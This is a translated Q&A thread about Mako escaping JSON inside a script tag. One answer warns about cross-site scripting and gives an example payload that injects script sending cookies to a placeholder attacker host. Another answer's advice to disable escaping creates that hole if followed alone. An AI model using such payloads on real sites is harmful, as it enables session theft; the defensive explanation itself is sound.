0

我正在阅读一个文本文件,将其拆分\n并将结果放入 Python 列表中。

然后我正在使用JSONEncoder().encode(mylist),但结果在生成 javascript 时会引发错误:

var jslist = ["List item 1", "List item 2"]

我猜切换到单引号会解决这个问题,但目前还不清楚如何强制 JSONEncoder/python 使用其中一个。

更新:上下文是一个金字塔应用程序,这是函数的结尾(components是列表的名称:

return {'components': JSONEncoder().encode(components)}

然后在 mako 模板中:

var components = ${components};

如上所述被替换。

4

2 回答 2

3

mako 正在转义你的字符串,因为它对于大多数目的来说是一个正常的默认值。您可以根据具体情况关闭转义:

${components | n}

于 2013-08-05T18:08:28.590 回答
0

如果您将 JSON 嵌入 HTML 页面,请注意。由于 Mako 不知道脚本标签,所以它继续使用标准转义符来转义字符串。但是<script>标签有不同的转义规则。值得注意的是,如果 JSON 包含用户生成的数据,不转义会使您的站点容易受到跨站点脚本攻击。考虑用户可编辑字段(user.name)中的以下信息

 user.name = "</script><script language='javascript'>" +
     "document.write('<img src=\'http://ev1l.com/stealcookies/?'" +
     "+ document.cookie + '/>');</script><script language='vbscript'>"

唉,Python JSON 编码器没有安全编码 JSON 的选项,因此它可以嵌入 HTML - 甚至是 Javascript(一个错误已输入到 Python 错误数据库中)。同时,您应该使用ensure_ascii=True+ replace all '<'with'\\u003c'以避免恶意用户进行黑客攻击。

于 2013-08-07T14:55:32.897 回答